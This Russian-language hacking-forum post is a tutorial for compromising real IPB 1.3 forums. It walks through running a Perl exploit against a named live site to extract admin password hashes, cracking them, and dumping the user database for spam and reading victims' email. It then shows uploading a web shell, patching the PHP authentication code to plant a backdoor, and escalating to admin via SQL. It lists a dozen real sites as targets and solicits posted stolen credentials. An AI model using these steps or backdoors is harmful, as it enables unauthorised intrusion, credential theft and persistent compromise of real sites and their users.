Хак сайта при помощи exploit'а. - Статьи - Хак - Форум
268 team

[ Новые сообщения · Участники · Правила форума · Поиск · RSS
]
Страница 1 из 11
Форум » Хак » Статьи » Хак сайта при помощи exploit'а.
Хак сайта при помощи exploit'а.
sawatДата: Воскресенье, 07.09.2008, 00:58 | Сообщение # 1
Admin
Группа: Админ
Сообщений: 153
Репутация: 0
Статус: Offline
Первое что нам надо сделать, это скачать ActivePerl. Он нам пригодится и в дальнейшем.
Скачать его мона тут:
Код:

h*tp://rapidshare.com/files/89358333/ActivePerl-5.8.8.822-MSWin32-x86-280952.part1.rar
h*tp://rapidshare.com/files/89367262/ActivePerl-5.8.8.822-MSWin32-x86-280952.part2.rar
h*tp://rapidshare.com/files/89373847/ActivePerl-5.8.8.822-MSWin32-x86-280952.part3.rar

. Он нужен для запуска скриптов, написанных на языке Perl. Он является интерпретатором команд написанных в скрипте. Проще говоря, скрипт это набор команд, которые посылаются программе.

В данном примере будет продемонстрировано, как это сделать на примере взлома форума на движке IPB 1.3. Версия относительно стара но таких в нете море, что и радует.
Надеюсь, вы уже скачали ActivePerl. Ну и хорошо. После установки ActivePerl у нас все файлы с расширением *.pl будут открываться через него.

Второе нам понадобится сам exploit . Он валяется тут.
Я буду писать реальный пример взлома сайта на примере hostforum.org.ru. Возможно, после того как я его ломанул эти админы дырочку уже заляпали. Но не беда, идёте в гугл и ищите такой же по его копирайту, для этого просто надо составить запрос на поиск вида: "Powered by Invision Power Board(U) v1.3 Final" (Лучше без кавычек ). А если вам очень понравился этот сайт и нужна его база стучите в личку. Поехали дальше.

Поле того, как вы его скачали, положите в какую нибуть папочку. Создайте для удобства батник (Сохраните под расширением *.bat) и напишите в нём.
Но лучше начинайте осваивать cmd (Если ещё не освоили), он вам ещё пригодится.

Код:

12.pl hostforum.org.ru // 1 0
Pause

Где

12.pl – имя нашего exploit'а
hostforum.org.ru – ну это я думаю понятно
// - директория где расположен сам форум. В данном случае в корневом.
1 – id юзера которого мы хотим узнать хэш. Зайди в раздел админы и посмотри их id. Этот раздел находится внизу -> Статистика форума -> и там будет Администраторы | Пользователи | Модераторы, выбирайте Администраторы, наведите курсор на админа и в переменной showuser будет его id.
0 – приписка данного експлоита, которая выбирает версию форума.
( 0 - IPB 1.* 1 - IPB 2.* (до версии 2.0.4) )
После того как определились с параметрами, запускаем его.

Пример запуска из cmd

Жмёте Win + R.

В командной строке набираем:
C:\путь_к_Perl C:\путь_к_файлу_exploit'а.pl сайт /папка_с_форумом/ 1 0

где:
C:\путь_к_Perl - это путь к файлу интерпретатора, например c:\perl\bin\perl (Если он проинсталирован отдельно то можно просто "perl")

C:\путь_к_файлу_exploit'а.pl - путь к сохраненному вами файлу с кодом сплоита

сайт - сайт форума.

папка_с_форумом - папка на сервере, куда установлен движок форума (смотрите в строке URL броузера)

1 - id юзера, чей хеш мы хотим увести. т.к. нам нужны админские хеши, ставим единицу, потому что первыми на форуме регистрируюца естественно админы (Но не всегда)

0 - версия форума которую мы хотим взломать (0 - IPB 1.*, 1 - IPB 2.*)

Строка в cmd будет выглядеть примерно так:
c:\perl\bin\perl c:\ipb.pl hostforum.org.ru // 1 0

Ждём примерно минутку…..

И о чудо, если эту дырку не заляпали, вы увидите нечто такое:

[~] SERVER : hostforum.org.ru
[~] PATH : //
[~] MEMBER ID : 1
[~] TARGET : 0 - IPB 1.*
[~] SEARCHING PASSWORD ... [ DONE ]

MEMBER ID : 1
PASSWORD : 4ca4fa2580c625262f789960bfe0edeb

4ca4fa2580c625262f789960bfe0edeb – это то что нам и нужно было.

Теперь берём какой либо брутфорс md5 hash и брутим.
Брутить можно разными программами. Это дело вкуса. Вот небольшой список:
http://the-udc.com/rus/
http://rapidshare.com/files/89122993/passwordspro.rar - я пользуюсь этим.
http://www.openwall.com/john/
и т.д.

А лучше посетите какие либо онлайн поисковики md5 hash. В целях избежания засорения статьи лежит тут. И ищем его там.

А ели вы все-таки решили воспользоваться простым брутфорсом, тогда могу посоветовать для удобства одну Perl утилиту. Она тут. + ЭТО
Пользоваться ей очень легко, составляем батник с параметрами:

Код:

1.pl 1.sql 3-4
Pause

Где
1.sql – имя или пут к базе
3-4 – колонки который нам надо выдрать (Можно выдирать только одну, для составления листов hash и mail для спама, или несколько перечисляя их через ”-”)
После чего в папке будет лежать фаил с выдранным.

А если у вас hash не сбрутился советую сходить в раздел Расшифровка хэшей и немного о них самих. Там всегда найдутся добрые люди, которые помогут.

После того как мы его нашли, узнаём логин админа (Там, где и его id).
После чего заходим в админку и сливаем базу. Или шалим на форуме, но помните, нормальный хакер не станет без нужды удалять базу . Помните что этот форум каму-то очень нужен. А вообще не мне вам читать проповеди.

После того как слили базу у вас в руках есть куча чужих мыл, которые можно читать (Ох как люблю я это делать, там иногда мона найти, что нибуть вкусненькое. Например зарегенный на него ак от чего либо ценного). Помимо того после расшифровки предложенных нам хэшей, мона получить сайты, icq, хост и т.п.

Кроме слитой база мы также можем сделать следующее:

1. Залить шелл.

Заходим под админом (как стать админом написано выше : ) )
Далее заходим в "Administration(Администрирование)" жмем "Manage Emoticons(Управление смайлами)" опускаем страницу вниз и видим такую строку "Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)" жмем кнопку "Browse(Обзор)" и выбираем у себя на компе шелл, загружается он в папки в зависимости от версии:
1.3 /forum/html/emoticons/shell.php
2.* /forum/style_emoticons/default/shell.php
где shell.php имя вашего загруженного шелла.

2. Делаем сваю дырку для дальнейшего использования.

Представь что ты сидел и ломал этот форум. А тут пришёл злобный админ и сменил пас а то и хуже, залатал дырку.
Но не тут то было, если вы успели сделать то, что написано ниже.
То что нам надо так это маленько подправить родной код движка. Для этого:

1. найди строчку 392, в ней должно быть следующее:
PHP код:
if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{
$session_validated = 1;
$this_session = $row;
}
её надо заменить на
PHP код:
if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)
{

$session_validated = 1;
$this_session = $row;
}
Потом найди строчку 442, в ней будет:

PHP код:
if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{

//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------

$sess_id = md5( uniqid( microtime() ) );
И замени на
PHP код:

if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)

{

//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------

$sess_id = md5( uniqid( microtime() ) );
И последнее
Найди в файле sources/Admin/ad_mysql.php строчку

PHP код:
if ($MEMBER['mgroup'] != $INFO['admin_group'])
{
$ADMIN->error("Sorry, these functions are for the root admin group only");
}
И удали её.

Всё готово, теперь в админку может заходить любой пользователь без прав админа.

Получить админа мона с помощью sql инъекции. (Как делать их, почитаешь в другом разделе.)

Достаточно составить запрос на изменение вашей группы:
UPDATE `ibf_members` SET `mgroup`=4 WHERE `id` =наш_id;
Всё, теперь ваш юзер уже является чистокровным админом.

Удачи!!!

З.Ы.

Тренировочные площадки. (По мере нахождения буду добавлять новые.) :

tomatomobile.ru
forum.aceweb.ru
www.ru-forum.com
forum.ishim.info
www.flame.ws
www.sanktrum.ru
www.cadpointbg.com
sosnogorsk.ru
g orsovet.rikt.ru
forum.nsawt.ru
www.computerland.odessa.ua
www.vumo98.ru

Если у вас получилось, отписывайтесь. (Если не получилось тоже)
Так же, просьба отписываться, вот так.

Код:

http://gorsovet.rikt.ru/forum/
id: 1
hash: 21232f297a57a5a743894a0e4a801fc3
login: admin
password: admin (Если не удалось расшифровать то оставить пустым)

Это на тот случай, чтоб люди не ломали одно и тоже по десять раз.

Если вы поняли сам принцип использования сплоитов И хотите использовать новые, прошу сюда:
http://www.securitylab.ru/
milw0rm.com

Автор:Anvil Оригинал статья

 
Форум » Хак » Статьи » Хак сайта при помощи exploit'а.
Страница 1 из 11
Поиск:



Copyright MyCorp © 2009Сайт управляется системой uCoz